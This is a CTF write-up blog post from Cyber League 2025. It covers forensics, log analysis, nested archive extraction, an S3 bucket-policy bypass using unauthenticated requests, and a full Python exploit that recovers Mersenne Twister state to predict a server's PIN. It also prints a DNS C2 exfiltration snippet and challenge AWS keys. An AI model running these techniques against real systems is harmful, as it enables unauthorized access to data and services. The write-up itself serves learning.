Cyber League 2025 CTF Writeup: Crypto, Forensics, Cloud & More

Our Cyber League 2025 CTF writeup covers Crypto, Forensics, Cloud, and Misc challenges. Detailed solutions, insights, and lessons learned—this guide will level up your cybersecurity game!

Cyber League 2025 CTF Writeup: Crypto, Forensics, Cloud & More
Cyberleague 2025
💡
Team ' OR 1=1--

Cyber League 2025 was nothing short of shiok—a thrilling competition packed with brain-teasing challenges. My team and I, representing ' OR 1=1--, had an unforgettable experience hacking through Crypto, Forensics, Cloud, and Misc categories. The organisers outdid themselves, delivering a well-structured event that kept us on our toes for 24 hours non-stop! Big shoutout to the Cyber League crew for their hard work and to my team members for the fantastic synergy we had during this competition.

For those following our writeup, whether you’re a fellow competitor or someone keen to learn, we’ve put together our solutions in a clear, easy-to-understand format. From cryptography puzzles that tested our algorithms to forensic investigations and cloud exploits, we’ve broken down each challenge and shared the thought process, tools, and scripts that helped us secure our spot on the leaderboard.

Forensics - Uncover Me

Cyberleague warm-up challenge
💡
Uncover me!

Really straightforward challenge, john was able to crack the password protected zip file and retrieve the contents.

CYBERLEAGUE{Y0U_Fo|_|nD_3e!}
This methodology will be applied again at Matryoshka II

Forensics - Baby PCAP

Solver #10
Follow TCP Stream, extract the python file
def encrypt_decrypt(data, key="Sup3rS3cur3P@ssW0Rd!!!", encrypt=True):
    key_length = len(key)
    if isinstance(data, str):
        data = data.encode()
    result = bytes(b ^ ord(key[i % key_length]) for i, b in enumerate(data))
    if encrypt:
        return base64.b64encode(result).decode('utf-8')
    else:
        decoded_data = base64.b64decode(data)
        decrypted_result = bytes(
            b ^ ord(key[i % key_length]) for i, b in enumerate(decoded_data))
        return decrypted_result.decode('utf-8', errors='ignore')

# Server Snippet
if qname.startswith("result."):
                    encrypted_result = (qname.split(
                        "result.", 1)[1]).split(".", 1)[0]
                    decrypted_result = encrypt_decrypt(
                        encrypted_result, encrypt=False)
                    print(f"Received result from client: {decrypted_result}")

interesting snippets

Looks like a Client-Server DNS communication script and is verified by the challenge's description

💡
I want to be like the cool kids, so I got chatGPT to write me a custom DNS C2 framework!
DNS replies were encrypted and added between result and chall123abcnotscam.com

We extracted this results into a .csv and retrieved the encrypted string

grep -oP 'result\.\K[^.]+(?=\.chall123)' extracted.csv | sort | uniq                    

ECwydiAfdiIyJ3YrIhIRLm8lBVNMVCMqA0cdPVgQKkoKZCUZFT9DOAFEUFw=
fB0fXhd8RgEAHEcl
IRofRw==
NRkRVA==

And obviously we used Chatgpt to write a decode script:

import base64

def encrypt_decrypt(data, key="Sup3rS3cur3P@ssW0Rd!!!", encrypt=True):
    key_length = len(key)
    if isinstance(data, str):
        data = data.encode()
    result = bytes(b ^ ord(key[i % key_length]) for i, b in enumerate(data))
    if encrypt:
        return base64.b64encode(result).decode('utf-8')
    else:
        decoded_data = base64.b64decode(data)
        decrypted_result = bytes(
            b ^ ord(key[i % key_length]) for i, b in enumerate(decoded_data))
        return decrypted_result.decode('utf-8', errors='ignore')

# List of Base64-encoded strings to decrypt
encoded_data = [
    "ECwydiAfdiIyJ3YrIhIRLm8lBVNMVCMqA0cdPVgQKkoKZCUZFT9DOAFEUFw=",
    "fB0fXhd8RgEAHEcl",
    "IRofRw==",
    "NRkRVA=="
]

# Decrypting the encoded strings
decrypted_data = [encrypt_decrypt(data, encrypt=False) for data in encoded_data]

# Print the decrypted results
for data in decrypted_data:
    print(data)

Decoding Script

python dec.py                                                                           
CYBERLEAGUE{baby_warmup_stonks_894ejfhsjeeq}
/home/ubuntu
root
flag
CYBERLEAGUE{baby_warmup_stonks_894ejfhsjeeq}

Flag

Miscellaneous - Log Analysis

Solver #11
💡
Strange traffics were observed at endpoint "supersecure". Just what is going on in the network?
198.78.236.24 - - [06/May/2020:05:17:51 -0400] "GET /wp-admin HTTP/1.0" 200 5009 "http://www.mckinney.biz/main.jsp" "Mozilla/5.0 (Windows NT 5.1; sl-SI; rv:1.9.2.20) Gecko/2016-04-29 00:34:19 Firefox/3.6.13"
25.100.9.125 - - [06/May/2020:05:22:02 -0400] "GET /supersecure/index.html HTTP/1.0" 301 5064 "http://williams.com/category/wp-content/post.php" "Mozilla/5.0 (Windows NT 5.01; en-US; rv:1.9.1.20) Gecko/2013-06-10 07:44:06 Firefox/3.8"
120.43.15.100 - - [06/May/2020:05:22:58 -0400] "DELETE /app/main/posts HTTP/1.0" 200 5089 "http://wilkinson.com/explore/wp-content/faq/" "Mozilla/5.0 (Windows 98; Win 9x 4.90) AppleWebKit/5312 (KHTML, like Gecko) Chrome/14.0.879.0 Safari/5312"
67.28.91.98 - - [06/May/2020:05:24:02 -0400] "POST /supersecure/search.jsp?f1a9=43 HTTP/1.0" 404 4984 "http://gilmore-cohen.com/main/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/5322 (KHTML, like Gecko) Chrome/14.0.808.0 Safari/5322"

Look at this snippet from .log

Looking at the snippet, we found a leet flag string to /supersecure/ to search param f1a9= (last line). Using grep, we extracted the parameter from the log file:

grep -oP '(?<=\?f1a9=)[0-9A-Fa-f]+' log_challenge.log

43
59
42
45
52
4c
45
41
47
55
45
7b
6c
30
67
73
5f
52
5f
62
30
52
69
4e
67
7d

Then using decode.fr, we can attempt to decode this to ASCII:

We can get the flag!
CYBERLEAGUE{l0gs_R_b0RiNg}

Flag

Miscellaneous - Pwn-Dis-File

Solver #71
💡
.
Strings output shows a flag.txt, probably embedded in the pdf?

We used pdfdetach to extract files in the pdf file:

pdfdetach -saveall Pwn-Dis-File.pdf
cat flag.txt       
CYBERLEAGUE{hidden_in_plain_sight}

And the flag was retrieved!

CYBERLEAGUE{hidden_in_plain_sight}

Miscellaneous - Matryoshka

Solver #80
💡
Someone told me about the infinite money glitch. I wonder, does that work for compression as well?
Time to put your programming skills to the test! Don't do it by hand (unless you like pain of course)!

Solved the challenge after watching this!

What we have to achieve would be to extract the compressed file given to us. binwalk -e returns multiple compressed files and was not fun to work with. We then crafted a script to identify the file and extract the compressed file.

#!/bin/bash

file="matryoshka.txt"

rm -r tmp
mkdir tmp

cp $file tmp

cd tmp

while [ 1 ]; do
  file $file
  file $file | grep "bzip2"
  if [ "$?" -eq "0" ]; then
    echo "This is a BZIP!"
    mv $file $file.bz2
    bunzip2 $file.bz2
    file=$(ls *)
  fi

  file $file | grep "Zip"

  if [ "$?" -eq "0" ]; then
    echo "This is a Zip!"
    mv $file $file.zip
    unzip $file.zip
    rm $filename.zip
    file=$(ls *)
  fi

  file $file | grep "gzip"

  if [ "$?" -eq "0" ]; then
    echo "This is a gzip!"
    mv $file $file.gz
    gzip -d $file.gz
    file=$(ls *)
  fi

  file $file | grep "XZ"

  if [ "$?" -eq "0" ]; then
    echo "This is a XZ!"
    mv $file $file.xz
    xz -d $file.xz
    file=$(ls *)
  fi
  
  file $file | grep "ASCII"

  if [ "$?" -eq "0" ]; then
    echo "This is a ASCII!"
    mv $file $file.xz
    xz -d $file.xz
    file=$(ls *)
  fi
done

Thanks to the Youtube Video, we got this script

Let the script run for abit and stop when file returns an ASCII text, with no line terminators result. Then go into the directory and view the file contents:

cat matryoshka.txt 
CYBERLEAGUE{m0r3_c0mpr3ss_m0r3_b3tt3r3r}%
CYBERLEAGUE{m0r3_c0mpr3ss_m0r3_b3tt3r3r}

Flag

Miscellaneous - Matryoshka II

Solver #61
💡
Someone told me about the infinite money glitch. I wonder, does that work for compression as well?
Time to put your programming skills to the test! Don't do it by hand (unless you like pain of course)!

Similar approach to Matryoshka, this time we found out that the given file requires a password. And the password that is required is actually the filename in the zip file, shown in the image below.

In this case, I use kali's gui to unzip with password

With this in mind, we could use a small script to unzip the zip files to get the flag. In this script, we used 7za with the -aoa flag to always replace the existing file since we found that files such as et were frequently seen and caused some issues if we were to rename them.

#!/bin/bash

file="matryoshka2.zip"

rm -r tmp 2>/dev/null
mkdir tmp
cp "$file" tmp
cd tmp

while [ 1 ]; do
  # Extract the pin from the zip file
  pin=$(unzip -l "$file" | awk 'NR>3 {print $4}' | head -n -2)

  # Extract the archive using the pin, silently handle name clashes by overwriting
  7za x "$file" -p"$pin" -aoa

  # Find the newly extracted file (exclude the old file)
  new_file=$pin

  # Check if a new file was found
  if [ -z "$new_file" ]; then
    echo "No new file extracted. Exiting..."
    break
  fi

  # Update $file with the new file name
  file="$new_file"

  echo "Extracted new file: $file"
done

Finally, the script will error out at dolor since it is an ASCII text file (containing the flag)

file dolor             
dolor: ASCII text, with no line terminators
cat dolor       
CYBERLEAGUE{m0r3_3ncryp7_m0r3_b3tt3r3r}% 
CYBERLEAGUE{m0r3_3ncryp7_m0r3_b3tt3r3r}

flag

Cloud - Perfect Storage

Solver #40
💡
The intern is exploring S3 buckets to host internal documents. He insists that he has scoped the IAM policy correctly to restrict access solely to the admin. Prove the intern wrong by escalating your user privileges and access the secret document!
aws_access_key_id = AKIAU24SYXUWGFF2Y2GS
aws_secret_access_key = ylEfloqS+B+O56WesG7qg8fEl0F1WD79OyckBuTf

Given Credentials

aws configure

# Note: use ap-southeast-1

And so we begin enumeration!

aws iam get-user
{
    "User": {
        "Path": "/",
        "UserName": "thisisauselessuserfortesting",
        "UserId": "AIDAU24SYXUWN2LUCUCOK",
        "Arn": "arn:aws:iam::332630900012:user/thisisauselessuserfortesting",
        "CreateDate": "2025-01-11T12:53:37+00:00"
    }
}

We first have to get the current user's information

With the user's information, we can enumerate for the account's policies with aws cli

aws iam list-attached-user-policies --user-name thisisauselessuserfortesting
{
    "AttachedPolicies": [
        {
            "PolicyName": "hackerman101",
            "PolicyArn": "arn:aws:iam::332630900012:policy/hackerman101"
        },
        {
            "PolicyName": "AWSCompromisedKeyQuarantineV2",
            "PolicyArn": "arn:aws:iam::aws:policy/AWSCompromisedKeyQuarantineV2"
        }
    ]
}

We can see that there were 2 different attached policies for the user

aws iam get-policy --policy-arn arn:aws:iam::332630900012:policy/hackerman101

{
    "Policy": {
        "PolicyName": "hackerman101",
        "PolicyId": "ANPAU24SYXUWDCOGSKOJ7",
        "Arn": "arn:aws:iam::332630900012:policy/hackerman101",
        "Path": "/",
        "DefaultVersionId": "v2",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2025-01-11T12:53:38+00:00",
        "UpdateDate": "2025-01-11T12:56:47+00:00",
        "Tags": []
    }
}

We could get the details of this policy but not the one for AWSCompromisedKeyQuarantineV2 due to permissions

We could continue to enumerate the policies.

aws iam get-policy-version \
    --policy-arn arn:aws:iam::332630900012:policy/hackerman101 \        
    --version-id v2
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "iam:Get*",
                        "iam:List*"
                    ],
                    "Effect": "Allow",
                    "Resource": [
                        "arn:aws:iam::332630900012:user/thisisauselessuserfortesting",
                        "arn:aws:iam::332630900012:policy/hackerman101"
                    ]
                },
                {
                    "Action": [
                        "s3:GetBucket*"
                    ],
                    "Effect": "Allow",
                    "Resource": [
                        "arn:aws:s3:::perfect-storage-7815696ecbf1c96"
                    ]
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v2",
        "IsDefaultVersion": true,
        "CreateDate": "2025-01-11T12:56:47+00:00"
    }
}

The hackerman policy revealed an S3 bucket resource

With the S3 resource name, we can perform further enumeration!

aws s3api get-bucket-acl --bucket perfect-storage-7815696ecbf1c96

{
    "Owner": {
        "DisplayName": "winston",
        "ID": "540c5fd23ed6349d850fc5a6796b8fcccc2adc0c141d264d4baa1164e0976db2"
    },
    "Grants": [
        {
            "Grantee": {
                "DisplayName": "winston",
                "ID": "540c5fd23ed6349d850fc5a6796b8fcccc2adc0c141d264d4baa1164e0976db2",
                "Type": "CanonicalUser"
            },
            "Permission": "FULL_CONTROL"
        }
    ]
}

Very interesting Owner information

We could work out the bucket public link using this format:

http://<bucket_name>.<region>.amazonaws.com

And access the site through a browser

https://perfect-storage-7815696ecbf1c96.s3.ap-southeast-1.amazonaws.com/

Notice that the bucket contained the flag.txt. This was the bucket that we needed to work on (hopefully)

 aws s3api get-bucket-policy --bucket perfect-storage-7815696ecbf1c96 | jq -r .Policy | jq .
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": "*",
      "Action": [
        "s3:ListBucket",
        "s3:GetObject"
      ],
      "Resource": [
        "arn:aws:s3:::perfect-storage-7815696ecbf1c96/*",
        "arn:aws:s3:::perfect-storage-7815696ecbf1c96"
      ],
      "Condition": {
        "ForAllValues:StringLike": {
          "aws:PrincipalArn": "arn:aws:iam::666666666666:user/admin"
        }
      }
    }
  ]
}

We then looked at the bucket policy

We were unable to further enumerate for methods of Privesc, so we performed an unauthenticated attack using curl to attempt to retrieve the flag:

curl http://perfect-storage-7815696ecbf1c96.s3.amazonaws.com/flag.txt

CYBERLEAGUE{null_is_true_huhhh???}

And we're done!

so we elevated our privilege from an employee to a user!
CYBERLEAGUE{null_is_true_huhhh???}

Flag

So why does this work? Upon researching about IAM's policy conditions, we saw this:

Source

We could either pass in an empty PrincipleARN or probably just access it unauthenticated. So, either one of these would work:

aws s3 cp s3://perfect-storage-7815696ecbf1c96/flag.txt . --no-sign-request

curl http://perfect-storage-7815696ecbf1c96.s3.amazonaws.com/flag.txt

Cryptography - One Time Pin

Solver #54
💡
Crack the pin!

To capture the flag in this challenge, we need to provide a hexadecimal input that matches the server's randomly generated hexadecimal value. This value is derived from a random number using Python's random.Random library. However, the process is not truly random—it’s pseudorandom. The server regenerates a new random number whenever we provide the wrong input. The random number generator (RNG) relies on Python’s random module, which uses a pseudorandom number generator (PRNG) to produce a sequence of numbers that mimic the properties of randomness. A PRNG starts from an initial seed state, and the generated sequence is deterministic, meaning it can be reproduced if the seed is known. This makes the numbers predictable, despite appearing random, and the process is computationally efficient.

#!/usr/bin/env python3

import asyncio
import logging
import random
from pathlib import Path

logger = logging.basicConfig(level=logging.INFO)

HOST = "0.0.0.0"
PORT = 10008
FLAG = Path("flag.txt").read_bytes()


async def print_prompt(writer: asyncio.StreamWriter):
    writer.writelines(
        (
            b"Welcome Admin!\n",
            b"Please enter your 8-char one time pin to continue [00000000 - ffffffff]:",
        )
    )
    await writer.drain()


async def read_pin(reader: asyncio.StreamReader, writer: asyncio.StreamWriter):
    while not (line := await reader.readline()):
        writer.write(b"Please enter a valid PIN\n")
        await writer.drain()
    return int(line.rstrip(), base=16)


async def handler(reader: asyncio.StreamReader, writer: asyncio.StreamWriter):
    client_ip, client_port = reader._transport.get_extra_info("peername")
    logging.info(f"New connection from: {client_ip}:{client_port}")

    rand = random.Random()
    try:
        while True:
            await print_prompt(writer)

            pin = await read_pin(reader, writer)
            num = rand.randrange(2**32 - 1)

            if pin != num:
                delta = abs(pin - num)
                writer.write(f"Error {hex(delta)}: Incorrect PIN.".encode())
            else:
                writer.write(b"Well done! Here is your flag: " + FLAG)
                break

            await writer.drain()
    except Exception as e:
        writer.write(f"Unexpected PIN provided. {e}".encode())
        await writer.drain()
    finally:
        writer.write_eof()
        writer.close()


async def main(host, port):
    srv = await asyncio.start_server(handler, host, port)
    await srv.serve_forever()


if __name__ == "__main__":
    asyncio.run(main(HOST, PORT))

app.py (Server)

To predict the server's randomly generated number, we first need to collect 624 samples of the server’s output. This is achieved by repeatedly sending the input "00000000" to the server and capturing the difference (delta) between the generated number and our input, extracted from the server’s response. Each delta value, converted from hexadecimal to its numerical representation, corresponds to the server’s pseudorandomly generated number.

After collecting all 624 samples, we use the MT19937Predictor library to reconstruct the internal state of the Mersenne Twister pseudorandom number generator (PRNG) used by the server. By feeding these samples into the predictor, we enable it to predict the next number in the PRNG sequence. Using this predicted value, we can send the correct PIN to the server and retrieve the flag.

#!/usr/bin/env python3
import socket
import re
import sys
import time
from mt19937predictor import MT19937Predictor

SERVER_IP = "127.0.0.1"  # Replace with the actual server IP
SERVER_PORT = 10008      # Replace with the actual server port
TOTAL_SAMPLE = 625       # 624 + 1, catering for loop

# The exact prompt string (as bytes) that we wait for.
PROMPT = b"Please enter your 8-char one time pin to continue [00000000 - ffffffff]:"
SUCCESS_PROMPT = b"flag:"
HEX_RE = re.compile(rb"Error 0x([0-9a-fA-F]+): Incorrect PIN")

def read_until(sock, target, timeout=0.1):
    """
    Read data from the socket until the target bytes are seen or until timeout.
    Returns all data read.
    """
    sock.settimeout(timeout)
    data = b""
    start = time.time()
    while True:
        try:
            chunk = sock.recv(4096)
        except socket.timeout:
            break  # timed out; return what we have so far.
        if not chunk:
            break  # connection closed
        data += chunk
        if target in data:
            break
        # Just in case we get stuck, check the elapsed time.
        if time.time() - start > timeout:
            break
    return data
def read_all(sock, timeout=10.1):
    """
    Read all available data from the socket until there's no more data
    or until `timeout` seconds pass without new data.
    """
    sock.settimeout(timeout)
    data = b""
    while True:
        try:
            chunk = sock.recv(4096)
            if not chunk:
                # Connection closed
                break
            data += chunk
        except socket.timeout:
            # No more data within the timeout window
            break
    return data

def collect_samples(sock):
    """
    Collect 624 delta samples from the server.
    """
    samples = []
    for i in range(TOTAL_SAMPLE):
        # Send "00000000" to the server
        sock.sendall(b"00000000\n")

        # Read all responses
        data = read_all(sock, timeout=0.1)

        # Extract delta value
        if b"Error 0x" in data:
            try:
                delta = extract_hex_value(data)
                samples.append(delta)
                print(f"[{i}] Captured delta: {delta}")
            except ValueError as e:
                print(f"Failed to parse delta at iteration {i}: {e}")
                continue

        # Check for the prompt
        if PROMPT not in data:
            print(f"Unexpected server response at iteration {i}: {data.decode(errors='replace')}")
            continue

    if len(samples) != TOTAL_SAMPLE:
        raise RuntimeError(f"Only collected {len(samples)} samples, but expected {TOTAL_SAMPLE}.")
    return samples

def predict_next_number(samples):
    """
    Use the captured samples to predict the next random number.
    """
    predictor = MT19937Predictor()
    for sample in samples:
        predictor.setrandbits(sample, 32)
    return predictor

def try_predictions(sock, predictor, max_attempts=5):
    """
    Attempt multiple predictions to handle potential misalignments.
    """
    for attempt in range(max_attempts):
        next_num = predictor.getrandbits(32)
        pin_to_send = f"{next_num:08x}\n"
        print(f"Trying predicted PIN (attempt {attempt + 1}): {pin_to_send.strip()}")
        sock.sendall(pin_to_send.encode())

        # Read the server's response
        response = read_all(sock, timeout=5.0)
        print(f"Server response:\n{response.decode(errors='replace')}")

        if SUCCESS_PROMPT in response:
            print("Successfully retrieved the flag!")
            return True

    print("All prediction attempts failed. PRNG state might be misaligned.")
    return False

def extract_hex_value(data: bytes) -> int:
    """
    Given a bytes object containing an error response like:
      "Error 0x1fe460f6: Incorrect PIN.Welcome Admin!"
    extract the hex value and return it as an integer.
    """
    match = HEX_RE.search(data)
    if not match:
        raise ValueError("Could not locate the error hex in:\n" + data.decode(errors="replace"))
    hex_str = match.group(1).decode()
    return int(hex_str, 16)

def main():
    samples = []

    predictor = MT19937Predictor()
    samples = []
    try:
        sock = socket.create_connection((SERVER_IP, SERVER_PORT))

        # Step 1: Collect samples
        print("Collecting samples...")
        samples = collect_samples(sock)

        # Step 2: Recover PRNG state
        print("Recovering PRNG state...")
        predictor = predict_next_number(samples)

        # Step 3: Attempt predictions
        print("Predicting the next random number and sending PIN...")
        success = try_predictions(sock, predictor)
        if not success:
            print("Failed to retrieve the flag. Check alignment or server logic.")

    except Exception as e:
        print(f"An error occurred: {e}")
    finally:
        print("Closing connection.")
        sock.close()
    
    
    
if __name__ == "__main__":
    main()
    
CYBERLEAGUE{r@nd0m_15_d3t3rmIn1St1c}

Flag

Final Scores

Wrapping up, Cyber League 2025 was a blast, and we're already looking forward to next year’s showdown. This CTF not only pushed our technical skills to the next level but also reminded us why we love cybersecurity—every challenge is a puzzle waiting to be cracked, and every solution is a step closer to mastery.

Kudos to the organisers once again for such a well-executed event. To those reading this, feel free to reach out if you have questions about our solutions or want to exchange ideas. Let’s keep the learning going!

Until next time—stay curious, stay sharp, and hack responsibly. See you at the next Cyber League!